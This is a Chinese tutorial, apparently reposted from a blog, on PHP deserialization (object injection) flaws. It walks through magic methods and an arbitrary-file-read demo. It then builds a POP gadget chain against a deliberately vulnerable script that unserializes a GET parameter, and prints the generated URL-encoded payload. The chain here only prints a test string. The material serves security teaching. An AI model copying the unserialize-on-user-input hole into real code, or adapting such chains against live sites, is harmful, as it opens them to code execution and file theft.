2-Web安全——php反序列化漏洞
Posted songly_
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了2-Web安全——php反序列化漏洞相关的知识,希望对你有一定的参考价值。
目录
1. php反序列化
前文已经详细介绍了反序列化的原理,本文将重点学习php语言中的反序列化漏洞。
php提供了两个函数来完成序列化和反序列化操作:Serialize函数用于将php对象转换为字符串并存储,Unserialize函数用于将字符串转换回变量。来看一个php序列化的示例
从图中可以看到test对象序列化后的字节内容是用以下格式进行保存的:
O:4:"Test":3:{s:2:"id";i:10;s:4:"name";s:8:"zhangsan";s:5:"score";i:99;}
我们可以对这段内容进行解读,如下所示:
//表示生成了一个对象名长度为4的test对象,并且有3个属性,O表示object类型
O:4:"Test":3:{
//表示一个属性名长度为2的id属性,属性的内容为数字型,内容为10,i表示int类型
s:2:"id";i:10;
//表示一个属性名长度4的name属性,并且name属性的内容为字符型,内容为zhangsan ,s表示string类型
s:4:"name";s:8:"zhangsan";
//表示一个属性名长度为5的score属性,其内容为数字99
s:5:"score";i:99;
}
当我们拿到这样的一段数据后,可以调用unserialize函数进行反序列化,如下所示:
2. php反序列化漏洞
php反序列化漏洞主要操作的是对象,也可以称为php对象注入漏洞,当调用unserialize函数对一个对象进行反序列时,如果该对象内部使用了魔法函数,并且魔法函数中包含了一些危险可控的操作,那么攻击者可能利用这点构造一段恶意代码执行,这就是反序列化漏洞。
php中提供了一些魔法函数,这些函数可以直接使用,不需要声明,常用的魔法函数如下:
__construct()创建对象时被调用
__destruct()当对象被销毁时调用
__get()函数用于从不可访问属性读取数据时会调用
__set()函数用于对不可访问属性进行写操作时调用
__toString()函数当对象被当做字符串使用时调用
__sleep()函数在对象序列化时会调用
__wakeup()函数在对象反序列化时会调用
__isset()在不可访问属性上调用isset函数或empty函数时被调用
__unset()函数用于在不可访问属性上使用unset函数时触发
来看一个php反序列化漏洞的演示,以__toString魔法函数为例:
<?php
class Test1{
public $file_name;
//当对象当做字符串使用会被自动调用
function __toString(){
return file_get_contents($this->file_name);
}
}
$test1 = new Test1();
//序列化
echo serialize($test1);
class Test2{
public function test2_unserialize(){
//反序列化test1对象
//file_name文件即test.txt
$test1_str = 'O:5:"Test1":1:{s:9:"file_name";s:8:"test.txt";}';
return unserialize($test1_str);
}
}
$test2 = new Test2();
$obj = $test2->test2_unserialize();
echo "============";
//输出test1对象,会自动调用__toString方法
echo $obj;
?>
我们来解读一下这段代码:test1对象内部使用了__toString魔法函数,并且在__toString函数内部使用了file_get_contents函数读取了属性$file_name指向的文件,但__toString函数只有在test1对象当做字符串使用的情况下才会被调用。在Test2对象中调用了test2_unserialize函数对test1对象进行反序列化,并将test1对象输出,那么此时就会调用test1对象里的__toString函数读取文件。
程序执行结果:
test.txt文件里的内容就是hello world。假设$test1_str变量里的内容如果是可控的话,那么就可以将test.txt内容进行替换,进行任意文件读取。
3. 反序列化pop利用链
pop漏洞利用链代码审计:pop(面向对象编程)链的构造是寻找程序当中环境已经定义了或者能够动态加载的对象属性(函数方法),将一些可能的调用组合在一起形成一个完整的,具有目的性的操作。
反序列化漏洞的挖掘可以从以下方面进行:
1. 进行反序列化的数据点可控
2. 反序列化类中有魔法方法,并且魔法方法中有敏感操作
3. 魔法方法中没有敏感操作,但是其对象调用了其它类中同名函数,可以通过构造pop链利用
接下来学习一个反序列化漏洞的利用链是如何构造的,test3.php文件的代码如下:
<?php
/**
* Created by PhpStorm.
* User: songly_
* Date: 2021/5/25
* Time: 22:19
*/
class Start_pop{
public $mod1;
public $mod2;
public function __destruct(){
$this->mod1->test1();
}
}
class Call{
public $mod1;
public $mod2;
public function test1(){
$this->mod1->test2();
}
}
class Test2_func{
public $test2_func1;
public $test2_func2;
public function __call($test2, $arr){
$s1 = $this->test2_func1;
$s1();
}
}
class Test1_func{
public $test1_func1;
public $test1_func2;
public function __invoke(){
$this->test1_func1="Test_func".$this->test1_func2;
}
}
class Test_String{
public $str1;
public $str2;
public function print_str(){
echo "pop test";
}
public function __toString(){
$this->print_str();
return "ok";
}
}
//反序列化
$str = $_GET["data"];
unserialize($str);
根据以上代码构造一个反序列化pop利用链来调用Test_String类的print_str方法。
通过分析以上代码可知:
1. 如果想要调用Test_String类的__toString方法,只有在Test_String对象被当做字符串使用的时候才会被调用,通过分析以上代码找到了Test1_func类中的__invoke方法内部有一个test1_func2属性当做字符串使用,那么可以把test1_func2
属性指向Test_String。
2. Test1_func类中的__invoke方法只有把对象当做函数使用时才会被调用,通过分析代码找到Test2_func类中有一个__call方法,该方法内部把Test2_func类的test2_func1属性当做方法来使用,那么可以把test2_func1指向Test1_func对象
3. __call方法只有当访问对象不存在方法或者不允许访问的方法才会被调用,分析以上代码可知,Call类中的test1方法中的mod1属性调用了test2方法,那么可以把mod1属性指向Test2_func类
4. Call类中的test1方法只有在Call类实例化的时候才会被调用,分析以上代码最终找到Start_pop类中的mod1属性调用了test1方法,那么可以把Start_pop类的mod1属性指向Call。
经过一番分析后,test4.php文件构造pop利用链如下:
<?php
/**
* Created by PhpStorm.
* User: songly_
* Date: 2021/5/25
* Time: 22:19
*/
class Start_pop{
public $mod1;
public $mod2;
public function __construct(){
$this->mod1 = new Call();
}
public function __destruct(){
$this->mod1->test1();
}
}
class Call{
public $mod1;
public $mod2;
public function __construct(){
$this->mod1 = new Test2_func();
}
public function test1(){
$this->mod1->test2();
}
}
class Test2_func{
public $test2_func1;
public $test2_func2;
public function __construct(){
$this->test2_func1 = new Test1_func();
}
public function __call($test2, $arr){
$s1 = $this->test2_func1;
$s1();
}
}
class Test1_func{
public $test1_func1;
public $test1_func2;
public function __construct(){
$this->test1_func2 = new Test_String();
}
public function __invoke(){
$this->test1_func1="Test_func".$this->test1_func2;
}
}
class Test_String{
public $str1;
public $str2;
public function print_str(){
echo "pop test";
}
public function __toString(){
$this->print_str();
return "ok";
}
}
//序列化,进行url编码
$poc = new Start_pop();
echo urlencode(serialize($poc));
test4.php文件生成的poc:
O%3A9%3A%22Start_pop%22%3A2%3A%7Bs%3A4%3A%22mod1%22%3BO%3A4%3A%22Call%22%3A2%3A%7Bs%3A4%3A%22mod1%22%3BO%3A10%3A%22Test2_func%22%3A2%3A%7Bs%3A11%3A%22test2_func1%22%3BO%3A10%3A%22Test1_func%22%3A2%3A%7Bs%3A11%3A%22test1_func1%22%3BN%3Bs%3A11%3A%22test1_func2%22%3BO%3A11%3A%22Test_String%22%3A2%3A%7Bs%3A4%3A%22str1%22%3BN%3Bs%3A4%3A%22str2%22%3BN%3B%7D%7Ds%3A11%3A%22test2_func2%22%3BN%3B%7Ds%3A4%3A%22mod2%22%3BN%3B%7Ds%3A4%3A%22mod2%22%3BN%3B%7D
访问test3.php文件,最终执行了Test_String类的print_str方法
学习完反序列化pop利用链后,我们将动手分析一个反序列化漏洞的pop利用链是如何构造的。
4. 为什么会产生反序列化漏洞
学完了php的序列化机制后,反序列的过程大致是这样的:
用户提交数据 ----> unserialize反序列化 ---> 还原成php对象
可以看到反序列的过程中提交的数据是外部提供的,通常很多程序的漏洞通常都是由外部提交的数据导致的,因为外部提交的数据对程序来说是不可控的,当程序接受用户经过特意构造的一段数据就会出现程序非预期的结果。例如远程注入恶意代码执行等等。有的程序会对外部提交的数据校验和过滤,但是php的unserialize函数不会对反序列化的内容进行安全检查,这意味着攻击者可以提交一段特定数据让程序在反序列化后产生非预期结果。
学习完php反序列化漏洞后,我们将动手分析一个反序列化漏洞的pop利用链是如何构造的,文章链接:16-PHP代码审计——Typecho1.0.14反序列化漏洞
以上是关于2-Web安全——php反序列化漏洞的主要内容,如果未能解决你的问题,请参考以下文章